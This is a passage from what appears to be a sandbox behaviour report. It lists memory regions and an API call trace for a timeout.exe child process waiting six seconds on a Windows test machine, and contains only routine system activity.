filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui")
Region:
id = 1569
start_va = 0x1cff8810000
end_va = 0x1cff8810fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "conhostv2.dll.mui"
filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui")
Region:
id = 1570
start_va = 0x1cff92f0000
end_va = 0x1cff92f1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff92f0000"
filename = ""
Region:
id = 1571
start_va = 0x7ffc652e0000
end_va = 0x7ffc65553fff
monitored = 0
entry_point = 0x7ffc65350400
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll")
Region:
id = 1572
start_va = 0x1cff9300000
end_va = 0x1cff9300fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 1573
start_va = 0x1cff9310000
end_va = 0x1cff9311fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001cff9310000"
filename = ""
Thread:
id = 137
os_tid = 0x13ec
Thread:
id = 138
os_tid = 0x13f0
Thread:
id = 139
os_tid = 0x13f4
Thread:
id = 140
os_tid = 0x13f8
Process:
id = "9"
image_name = "timeout.exe"
filename = "c:\\windows\\syswow64\\timeout.exe"
page_root = "0xc800000"
os_pid = "0xce0"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "7"
os_parent_pid = "0x13e0"
cmd_line = "timeout /t 6 "
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1588
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1589
start_va = 0x30000
end_va = 0x44fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1590
start_va = 0x50000
end_va = 0x8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000050000"
filename = ""
Region:
id = 1591
start_va = 0x90000
end_va = 0xcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000090000"
filename = ""
Region:
id = 1592
start_va = 0xd0000
end_va = 0xd3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000d0000"
filename = ""
Region:
id = 1593
start_va = 0xe0000
end_va = 0xe0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000e0000"
filename = ""
Region:
id = 1594
start_va = 0xf0000
end_va = 0xf1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000f0000"
filename = ""
Region:
id = 1595
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 1596
start_va = 0x890000
end_va = 0x891fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000890000"
filename = ""
Region:
id = 1597
start_va = 0xab0000
end_va = 0xab9fff
monitored = 1
entry_point = 0xab4fb0
region_type = mapped_file
name = "timeout.exe"
filename = "\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe")
Region:
id = 1598
start_va = 0xac0000
end_va = 0x4abffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000ac0000"
filename = ""
Region:
id = 1599
start_va = 0x76ed0000
end_va = 0x7704afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 1600
start_va = 0x7f690000
end_va = 0x7f6b2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f690000"
filename = ""
Region:
id = 1601
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1602
start_va = 0x7fff0000
end_va = 0x7dfc71c9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 1603
start_va = 0x7dfc71ca0000
end_va = 0x7ffc71c9ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007dfc71ca0000"
filename = ""
Region:
id = 1604
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1605
start_va = 0x7ffc71e61000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffc71e61000"
filename = ""
Region:
id = 1606
start_va = 0x400000
end_va = 0x58ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1607
start_va = 0x59f40000
end_va = 0x59f8ffff
monitored = 0
entry_point = 0x59f58180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 1608
start_va = 0x59fa0000
end_va = 0x5a019fff
monitored = 0
entry_point = 0x59fb3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 1609
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1610
start_va = 0x59f90000
end_va = 0x59f97fff
monitored = 0
entry_point = 0x59f917c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 1611
start_va = 0x8a0000
end_va = 0x9dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000008a0000"
filename = ""
Region:
id = 1612
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1613
start_va = 0x76920000
end_va = 0x76a9dfff
monitored = 0
entry_point = 0x769d1b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 1614
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1615
start_va = 0x7f590000
end_va = 0x7f68ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f590000"
filename = ""
Region:
id = 1616
start_va = 0x100000
end_va = 0x1bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1617
start_va = 0x73f00000
end_va = 0x74046fff
monitored = 0
entry_point = 0x73f11cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 1618
start_va = 0x76ab0000
end_va = 0x76bfefff
monitored = 0
entry_point = 0x76b66820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 1619
start_va = 0x1c0000
end_va = 0x1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 1620
start_va = 0x400000
end_va = 0x43ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1621
start_va = 0x580000
end_va = 0x58ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000580000"
filename = ""
Region:
id = 1622
start_va = 0x74840000
end_va = 0x7489efff
monitored = 0
entry_point = 0x74844af0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")
Region:
id = 1623
start_va = 0x890000
end_va = 0x893fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000890000"
filename = ""
Region:
id = 1624
start_va = 0x749e0000
end_va = 0x74a23fff
monitored = 0
entry_point = 0x749f9d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 1625
start_va = 0x745d0000
end_va = 0x7467cfff
monitored = 0
entry_point = 0x745e4f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 1626
start_va = 0x73c00000
end_va = 0x73c1dfff
monitored = 0
entry_point = 0x73c0b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 1627
start_va = 0x73bf0000
end_va = 0x73bf9fff
monitored = 0
entry_point = 0x73bf2a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 1628
start_va = 0x76e70000
end_va = 0x76ec7fff
monitored = 0
entry_point = 0x76eb25c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 1629
start_va = 0x748c0000
end_va = 0x74904fff
monitored = 0
entry_point = 0x748dde90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 1630
start_va = 0x74910000
end_va = 0x749cdfff
monitored = 0
entry_point = 0x74945630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 1631
start_va = 0x74680000
end_va = 0x7483cfff
monitored = 0
entry_point = 0x74762a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 1632
start_va = 0x702d0000
end_va = 0x702d7fff
monitored = 0
entry_point = 0x702d17b0
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")
Region:
id = 1633
start_va = 0x590000
end_va = 0x717fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000590000"
filename = ""
Region:
id = 1634
start_va = 0x8a0000
end_va = 0x8c9fff
monitored = 0
entry_point = 0x8a5680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1635
start_va = 0x8e0000
end_va = 0x9dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000008e0000"
filename = ""
Region:
id = 1636
start_va = 0x76170000
end_va = 0x7619afff
monitored = 0
entry_point = 0x76175680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1637
start_va = 0x4ac0000
end_va = 0x4c40fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000004ac0000"
filename = ""
Region:
id = 1638
start_va = 0x4c50000
end_va = 0x604ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000004c50000"
filename = ""
Region:
id = 1639
start_va = 0x8a0000
end_va = 0x8a2fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "timeout.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\timeout.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\timeout.exe.mui")
Region:
id = 1640
start_va = 0x20000
end_va = 0x20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1641
start_va = 0x440000
end_va = 0x440fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000440000"
filename = ""
Region:
id = 1642
start_va = 0x9e0000
end_va = 0xa3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000009e0000"
filename = ""
Region:
id = 1643
start_va = 0x6050000
end_va = 0x6386fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Thread:
id = 142
os_tid = 0x8f0
[0079.570] GetModuleHandleA (lpModuleName=0x0) returned 0xab0000
[0079.570] __set_app_type (_Type=0x1)
[0079.570] __p__fmode () returned 0x749c4d6c
[0079.570] __p__commode () returned 0x749c5b1c
[0079.570] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xab4fe0) returned 0x0
[0079.570] __wgetmainargs (in: _Argc=0xab6018, _Argv=0xab601c, _Env=0xab6020, _DoWildCard=0, _StartInfo=0xab602c | out: _Argc=0xab6018, _Argv=0xab601c, _Env=0xab6020) returned 0
[0079.571] SetThreadUILanguage (LangId=0x0) returned 0x409
[0079.646] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0079.646] SetLastError (dwErrCode=0x0)
[0079.646] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
[0079.646] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
[0079.646] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
[0079.646] RtlVerifyVersionInfo (VersionInfo=0xcf790, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0
[0079.646] GetProcessHeap () returned 0x8e0000
[0079.646] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8e7600
[0079.646] lstrlenW (lpString="") returned 0
[0079.646] GetProcessHeap () returned 0x8e0000
[0079.646] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x2) returned 0x8e8698
[0079.646] GetProcessHeap () returned 0x8e0000
[0079.646] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e71b0
[0079.646] GetProcessHeap () returned 0x8e0000
[0079.646] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8e7468
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e2a50
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e73c0
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e6cc8
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e37e0
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8e7480
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e8b48
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e8b68
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e8b88
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8e7a30
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8e7498
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec608
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec248
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec388
[0079.647] GetProcessHeap () returned 0x8e0000
[0079.647] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec568
[0079.647] SetThreadUILanguage (LangId=0x0) returned 0x409
[0079.717] SetLastError (dwErrCode=0x0)
[0079.717] GetProcessHeap () returned 0x8e0000
[0079.717] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec428
[0079.717] GetProcessHeap () returned 0x8e0000
[0079.717] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec268
[0079.717] GetProcessHeap () returned 0x8e0000
[0079.717] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec548
[0079.717] GetProcessHeap () returned 0x8e0000
[0079.717] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec368
[0079.717] GetProcessHeap () returned 0x8e0000
[0079.717] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec3a8
[0079.717] GetProcessHeap () returned 0x8e0000
[0079.717] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8e74b0
[0079.717] _memicmp (_Buf1=0x8e74b0, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.718] GetProcessHeap () returned 0x8e0000
[0079.718] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x208) returned 0x8ec628
[0079.718] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8ec628, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe")) returned 0x1f
[0079.718] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", lpdwHandle=0xcf89c | out: lpdwHandle=0xcf89c) returned 0x76c
[0079.718] GetProcessHeap () returned 0x8e0000
[0079.718] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x776) returned 0x8ec838
[0079.718] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", dwHandle=0x0, dwLen=0x776, lpData=0x8ec838 | out: lpData=0x8ec838) returned 1
[0079.718] VerQueryValueW (in: pBlock=0x8ec838, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcf8a4, puLen=0xcf8a8 | out: lplpBuffer=0xcf8a4*=0x8ecbe8, puLen=0xcf8a8) returned 1
[0079.720] _memicmp (_Buf1=0x8e74b0, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.720] _vsnwprintf (in: _Buffer=0x8ec628, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xcf888 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37
[0079.720] VerQueryValueW (in: pBlock=0x8ec838, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xcf8b4, puLen=0xcf8b0 | out: lplpBuffer=0xcf8b4*=0x8eca1c, puLen=0xcf8b0) returned 1
[0079.720] lstrlenW (lpString="timeout.exe") returned 11
[0079.720] lstrlenW (lpString="timeout.exe") returned 11
[0079.720] lstrlenW (lpString=".EXE") returned 4
[0079.720] StrStrIW (lpFirst="timeout.exe", lpSrch=".EXE") returned=".exe"
[0079.721] lstrlenW (lpString="timeout.exe") returned 11
[0079.721] lstrlenW (lpString=".EXE") returned 4
[0079.721] _memicmp (_Buf1=0x8e74b0, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.721] lstrlenW (lpString="timeout") returned 7
[0079.721] GetProcessHeap () returned 0x8e0000
[0079.721] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec468
[0079.721] GetProcessHeap () returned 0x8e0000
[0079.721] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec3e8
[0079.721] GetProcessHeap () returned 0x8e0000
[0079.721] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec288
[0079.721] GetProcessHeap () returned 0x8e0000
[0079.721] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec3c8
[0079.721] GetProcessHeap () returned 0x8e0000
[0079.721] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8ed220
[0079.721] _memicmp (_Buf1=0x8ed220, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.721] GetProcessHeap () returned 0x8e0000
[0079.721] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0xa0) returned 0x8edf98
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec328
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec2a8
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x14) returned 0x8ec588
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8ed2f8
[0079.722] _memicmp (_Buf1=0x8ed2f8, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x200) returned 0x8ee4f8
[0079.722] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x8ee4f8, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17
[0079.722] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x30) returned 0x8e8380
[0079.722] _vsnwprintf (in: _Buffer=0x8edf98, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xcf88c | out: _Buffer="Type \"TIMEOUT /?\" for usage.") returned 28
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] GetProcessHeap () returned 0x8e0000
[0079.722] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec838) returned 1
[0079.723] GetProcessHeap () returned 0x8e0000
[0079.723] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec838) returned 0x776
[0079.723] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec838 | out: hHeap=0x8e0000) returned 1
[0079.723] SetLastError (dwErrCode=0x0)
[0079.723] GetThreadLocale () returned 0x409
[0079.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0079.723] lstrlenW (lpString="?") returned 1
[0079.723] GetThreadLocale () returned 0x409
[0079.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0079.723] GetThreadLocale () returned 0x409
[0079.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0079.723] lstrlenW (lpString="nobreak") returned 7
[0079.723] SetLastError (dwErrCode=0x0)
[0079.723] SetLastError (dwErrCode=0x0)
[0079.723] lstrlenW (lpString="/t") returned 2
[0079.723] lstrlenW (lpString="-/") returned 2
[0079.723] StrChrIW (lpStart="-/", wMatch=0xa3002f) returned="/"
[0079.724] lstrlenW (lpString="?") returned 1
[0079.724] lstrlenW (lpString="?") returned 1
[0079.724] GetProcessHeap () returned 0x8e0000
[0079.724] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8ed310
[0079.724] _memicmp (_Buf1=0x8ed310, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.724] GetProcessHeap () returned 0x8e0000
[0079.724] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0xa) returned 0x8ed340
[0079.724] lstrlenW (lpString="t") returned 1
[0079.724] GetProcessHeap () returned 0x8e0000
[0079.724] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8ed178
[0079.724] _memicmp (_Buf1=0x8ed178, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.724] GetProcessHeap () returned 0x8e0000
[0079.724] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0xa) returned 0x8ed190
[0079.724] _vsnwprintf (in: _Buffer=0x8ed340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf87c | out: _Buffer="|?|") returned 3
[0079.724] _vsnwprintf (in: _Buffer=0x8ed190, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf87c | out: _Buffer="|t|") returned 3
[0079.724] lstrlenW (lpString="|?|") returned 3
[0079.724] lstrlenW (lpString="|t|") returned 3
[0079.724] StrStrIW (lpFirst="|?|", lpSrch="|t|") returned 0x0
[0079.724] SetLastError (dwErrCode=0x490)
[0079.724] lstrlenW (lpString="t") returned 1
[0079.724] lstrlenW (lpString="t") returned 1
[0079.724] _memicmp (_Buf1=0x8ed310, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.724] lstrlenW (lpString="t") returned 1
[0079.724] _memicmp (_Buf1=0x8ed178, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.724] _vsnwprintf (in: _Buffer=0x8ed340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf87c | out: _Buffer="|t|") returned 3
[0079.724] _vsnwprintf (in: _Buffer=0x8ed190, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf87c | out: _Buffer="|t|") returned 3
[0079.724] lstrlenW (lpString="|t|") returned 3
[0079.724] lstrlenW (lpString="|t|") returned 3
[0079.724] StrStrIW (lpFirst="|t|", lpSrch="|t|") returned="|t|"
[0079.724] SetLastError (dwErrCode=0x0)
[0079.724] SetLastError (dwErrCode=0x0)
[0079.724] lstrlenW (lpString="6") returned 1
[0079.724] SetLastError (dwErrCode=0x490)
[0079.725] SetLastError (dwErrCode=0x0)
[0079.725] lstrlenW (lpString="6") returned 1
[0079.725] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0
[0079.725] SetLastError (dwErrCode=0x490)
[0079.725] SetLastError (dwErrCode=0x0)
[0079.725] GetProcessHeap () returned 0x8e0000
[0079.725] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x10) returned 0x8ed238
[0079.725] _memicmp (_Buf1=0x8ed238, _Buf2=0xab10ac, _Size=0x7) returned 0
[0079.725] lstrlenW (lpString="6") returned 1
[0079.725] GetProcessHeap () returned 0x8e0000
[0079.725] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0xc, Size=0x4) returned 0x8e7a98
[0079.725] lstrlenW (lpString="6") returned 1
